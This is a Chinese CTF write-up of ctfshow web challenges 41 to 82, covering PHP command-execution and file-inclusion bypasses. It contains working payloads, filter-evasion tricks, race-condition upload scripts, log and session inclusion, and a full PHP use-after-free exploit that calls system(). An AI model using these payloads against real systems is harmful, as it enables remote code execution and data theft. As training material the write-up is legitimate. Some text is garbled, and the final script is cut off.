CTFSHOW web入门 命令执行+文件包含+PHP特性

刷题时间记录表

ID开始时间结束时间刷题范围
12021.08.23 19:202021.08.23 21.30web41-45
22021.08.24 22:162021.08.25 0:04web46-54
32021.08.25 17:06(上班划水)2021.08.25 18:00web55-web58
42021.08.25 20:262021.08.25 22:39web59-web72
52021.08.26 22:202021.08.26 23:25web72-web77 web118-119
62021.08.30 20:212021.08.30 22:52web120-122web124
72021.08.31 22:352021.08.31web78-web80
82021.09.01 21:122021.09.02 0:05web81-web87
92021.09.02 20:422021.09.02 22:26web88-90,web116-117
ID开始时间结束时间刷题范围
102021.09.05 12:202021.09.05 12:40web91-web94
112021.09.07 13:572021.09.07 18:30web95-web100
122021.09.14 18:102021.09.14 18:30web100
132021.09.15 14:002021.09.15 18:30web101-web115
142021.09.16 10:322021.09.16 18:30web123-web136
152021.09.22 15:432021.09.22 16:00web137
162021.09.23 14:302021.09.23 16:00web138-web140
172021.09.24 8:532021.09.24 9:00web141
182021.09.29 16:552021.09.29 17:00web142
ID开始时间结束时间刷题范围
192021.09.30 19:062021.09.30 19:07web143
202021.10.07 23:132021.10.08 0:27web144-web150plus

信息搜集

命令执行

web41

  • 代码
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 
  • 考点

    通过或运算,来将两个字符拼接为字母,进行命令执行,比如url编码过后的(40%|01%),运算结果为A,进而进行命令执行

  • 解题脚本

    <?php
    $myfile = fopen("rce_or.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
    	for ($j=0; $j <256 ; $j++) { 
    
    		if($i<16){
    			$hex_i='0'.dechex($i);
    		}
    		else{
    			$hex_i=dechex($i);
    		}
    		if($j<16){
    			$hex_j='0'.dechex($j);
    		}
    		else{
    			$hex_j=dechex($j);
    		}
    		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    					echo "";
        }
      
    		else{
    		$a='%'.$hex_i;
    		$b='%'.$hex_j;
    		$c=(urldecode($a)|urldecode($b));
    		if (ord($c)>=32&ord($c)<=126) {
    			$contents=$contents.$c." ".$a." ".$b."\n";
    		}
    	}
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);
    
    
    # -*- coding: utf-8 -*-
    import requests
    import urllib
    from sys import *
    import os
    os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
    if(len(argv)!=2):
       print("="*50)
       print('USER:python exp.py <url>')
       print("eg:  python exp.py http://ctf.show/")
       print("="*50)
       exit(0)
    url=argv[1]
    def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("rce_or.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"|\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
       data={
           'c':urllib.parse.unquote(param)
           }
       r=requests.post(url,data=data)
       print("\n[*] result:\n"+r.text)
    
    

web42

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 20:51:55
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        system($c." >/dev/null 2>&1");
    }else{
        highlight_file(__FILE__);
    
    
  • 考点

    • 群主说的是,>/dev/null是个黑洞,前面执行的命令的结果会写入黑洞里,就没办法回显,2>&1是绑定输出,一共有三种文件描述符,标准输入3、标准输出1、错误输出2,这里就是将错误输出绑定到标准输出 ,也就是这个环境无论执行什么命令都不会输出,但是这个可以用;绕过,这样就执行的命令就不属于这个命令了,可以输出

    • 此外还学到了一点,比如正常的payload可以是?c=cat flag;这个时候需要查看源代码才能看到,但是用tac就可以直接看到,因为tac是反着读,会破坏php的注释,学到了嘿嘿

web 43

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:32:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 同上题一样,这次过滤了;群主说是用&&绕过?c=tac flag.php%26%26ls,但是突然想到,其实那个限制只是回显,可以把文件复制一下,然后直接访问复制的文件就可以拿到flag,比如?c= mv flag.php 1.txt然后直接访问1.txt就能直接拿到flag

web44

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:32:01
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/;|cat|flag/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 过滤了flag,这个直接通配符*或者占位符?就可以绕过?c=tac f*.php%26%26ls

web45

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:35:34
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| /i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 过滤了空格,用制表符绕过``

web46

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:50:19
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 这次又多过滤了数字,以及通配符*,但是那个编码过后的制表符%09解码后不是数字,所以没有影响,过滤了*可以用?代替,?只能占一位,*是任意位?c=tac%09fla?.php%26%26lls

  • 此处题目的hint交了新的方法,用nl命令将指定的文件添加行号标注后写到标准输出,也就是还可以这样绕过?c=nl<fla’'g.php||

web47

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:59:23
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 过滤了更多的读取命令,没有过滤tac,不影响

web48

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:06:20
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 过滤了更多的命令不影响

web49

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:22:43
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 过滤更多不影响

web50

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:32:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 过滤了%09与%26,之前的nl命令还可以搞

web51

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:42:52
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 继续用之前payload

web52

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:50:30
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 这里 没 有 被 过 滤 , 然 后 之 前 的 p a y l o a d 发 现 假 的 f l a g , 然 后 用 没有被过滤,然后之前的payload发现假的flag,然后用 payloadflag{IFS}作为分隔符,读取根目录的flagnl$IFS/fla''g||

web53

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 18:21:02
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
            echo($c);
            $d = system($c);
            echo "<br>".$d;
        }else{
            echo 'no';
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 有了回显,但是执行方式和之前不一样了,payload:?c=ta''c${IFS}fla?.php

web54

  • 代码

     <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 19:43:42
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    } 
    
  • 代码过滤了很多,hint非常狠,全用通配符搞?c=/bin/?at${IFS}f???????,除了这个直接复制就行

web55

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 20:03:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    // 你们在炫技吗?
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }
    
  • 这次更狠一些?c=/???/????64 ????.???,就是利用通配符,匹配到这样的命令/bin/base64 flag.php

web56

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    // 你们在炫技吗?
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }
    
  • 题目更狠了一点

  • 这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用进行匹配,即???/?????????,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
    在ascii码表中观察发现在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件

  • 解题脚本

    import requests
    while True:
        url = "http://80ce7c79-ce3b-409b-89bd-6be7043fb4a6.challenge.ctf.show:8080/?c=. /???/????????[@-[]"
    
        r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
        flag = r.text.split('ctfshow')
        if len(flag) >1:
            print(r.text)
            break
    
    

web57

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-08 01:02:56
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    */
    
    // 还能炫的动吗?
    //flag in 36.php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
            system("cat ".$c.".php");
        }
    }else{
        highlight_file(__FILE__);
    }
    
  • 这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

  • $(()) 代表做一次运算,因为里面为空,也表示值为0
    $((~$(()))) 对0作取反运算,值为-1
    $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
    $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

    如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

  • 所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36

    data = "$((~$(("+"$((~$(())))"*37+"))))"
    print(data)
    

web58

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    // 你们在炫技吗?
    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
    }else{
        highlight_file(__FILE__);
    }
    
  • 第一反应,蚁剑

  • 看了hint,是考读取文件的,c=show_source("flag.php");

  • //一些命令
    highlight_file($filename);
    show_source($filename);
    print_r(php_strip_whitespace($filename));
    print_r(file_get_contents($filename));
    readfile($filename);
    print_r(file($filename)); // var_dump
    fread(fopen($filename,"r"), $size);
    include($filename); // 非php代码
    include_once($filename); // 非php代码
    require($filename); // 非php代码
    require_once($filename); // 非php代码
    print_r(fread(popen("cat flag", "r"), $size));
    print_r(fgets(fopen($filename, "r"))); // 读取一行
    fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
    print_r(fgetcsv(fopen($filename,"r"), $size));
    print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
    print_r(fscanf(fopen("flag", "r"),"%s"));
    print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
    

web59-65

  • 代码

    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
    }else{
        highlight_file(__FILE__);
    }
    
  • 代码都是一样的,其中应该是逐渐过滤掉了上面所列的一些函数,用show_source都可以看c=show_source("flag.php");

  • 群主用过的方法

    • c=include('flag.php');echo $flag
    • c=include('flag.php');var_dump(get_defined_vars());

web66

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    // 你们在炫技吗?
    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
    }else{
        highlight_file(__FILE__);
    }
    
  • 看起来还是没变,这次把show_source禁了,用highlight_file,发现假的flag,群主用的命令c=var_dump(scandir(''));找到了根目录有个flag.txt,然后直接c=highlight_file("/flag.txt");

web67

  • 代码一样
  • 上题payload可用,这次是print_r被禁了,var_dump可以用

web68-70

  • 代码一样
  • highlight_file被禁了,index.php都进不去了哈哈哈
  • 用include,c=include('/flag.php');

web71

  • 代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    error_reporting(0);
    ini_set('display_errors', 0);
    // 你们在炫技吗?
    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
            $s = ob_get_contents();
            ob_end_clean();
            echo preg_replace("/[0-9]|[a-z]/i","?",$s);
    }else{
        highlight_file(__FILE__);
    }
    
    ?>
    
    你要上天吗?
    
  • 这个是把输出缓冲区给替换掉了,群主的方法直接执行exit(),c=include('/flag.txt');exit();

web72

  • 代码同上

  • 把scandir以某种方式限制了

  • 用glob协议查找根目录中的文件

  • c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
    
  • 抄一些方法

  • print_r(glob("*")); // 列当前目录
    print_r(glob("/*")); // 列根目录
    print_r(scandir("."));
    print_r(scandir("/"));
    $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
    $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
    $a=glob("/*");foreach($a as $value){echo $value."   ";}
    $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
    
  • 群主给的exp

  • c=function ctfshow($cmd) {
        global $abc, $helper, $backtrace;
    
        class Vuln {
            public $a;
            public function __destruct() { 
                global $backtrace; 
                unset($this->a);
                $backtrace = (new Exception)->getTrace();
                if(!isset($backtrace[1]['args'])) {
                    $backtrace = debug_backtrace();
                }
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= sprintf("%c",($ptr & 0xff));
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = sprintf("%c",($v & 0xff));
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { 
    
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { 
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) {
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) {
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        function trigger_uaf($arg) {
    
            $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
            $vuln = new Vuln();
            $vuln->a = $arg;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; 
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    
        trigger_uaf('x');
        $abc = $backtrace[1]['args'][0];
    
        $helper = new Helper;
        $helper->b = function ($x) { };
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
    
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); 
        write($abc, 0xd0 + 0x68, $zif_system); 
    
        ($helper->b)($cmd);
        exit();
    }
    
    ctfshow("cat /flag0.txt");ob_end_flush();
    

web 73-74

  • 代码一样
  • 像上题一样直接用glob协议看下根目录的内容,发现flag的位置,c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();发现在flagc.txt,和flagx.txt直接include包含c=include("/flagc.txt");exit(0);

web 75-76

  • 代码一样
  • glob扫目录,发现flag36.txt,用include发现了open_basedir,这里群主使用mysql读取了falgc=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();**exit**(0);}**exit**(0);

web77

  • 代码一样
  • glob扫目录,发现flag36x.txt,以及有一个readflag
  • 这里利用了php7.4的新特性,payload如下
  • $ffi = FFI::cdef(“int system(const char *command);”);//创建一个system对象 $a=’/readflag > 1.txt’;//没有回显的 f f i − > s y s t e m ( ffi->system( ffi>system(a);//通过$ffi去调用system函数
  • c=?><?php ?>
  • 然后payload就是?file=/var/log/nginx/access.log同时post1=system('tac fl0g.php'),先ls看下目录,然后再知道是fl0g.php的

文件包含

web78

PHP
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

开始文件包含的题型了,这里使用php伪协议php://filter来构造paylaod

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

payload如下

CODE
?file=php://filter/convert.base64-encode/resource=flag.php

读取出来是base64,再拿去进行base64解码即可得到flag

web79

PHP
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}

代码中把php替换成了???,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,paylaod如下

CODE
?file=Php://input

post:<?php system("tac flag.php");?>
PHP
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}

这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了
所以payload为

CODE
?file=Php://input

post:<?php system("tac fl0g.php");?>

web81

  • if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
  • 这次把:过滤了,不过不影响我们继续用上一题的日志包含

  • 这次学到了<?=eval($_POST[a]);?> <?=>相当于<?php echo ?>

web82

  • <?php
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
  • 把.过滤了,那么日志包含的access.log用不了了

  • 用只能用session包含

  • 下面是php5.4之后php.ini开始有的几个默认选项

  • 1.session.upload_progress.enabled = on
    2.session.upload_progress.cleanup = on
    3.session.upload_progress.prefix = “upload_progress_”
    4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    5.session.use_strict_mode=off

    第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
    第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
    第三和第四个prefix+name将表示为session中的键名
    第五个表示我们对Cookie中sessionID可控

  • 写个脚本

    import io
    import requests
    import threading
    url = 'http://66a0ff8a-5ebd-4a08-835f-6df122b9f4eb.challenge.ctf.show:8080/'
    
    def write(session):
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>hehei'
        }
        while True:
            f = io.BytesIO(b'a' * 1024 * 10)
            response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('exp.txt', f)})
    def read(session):
        while True:
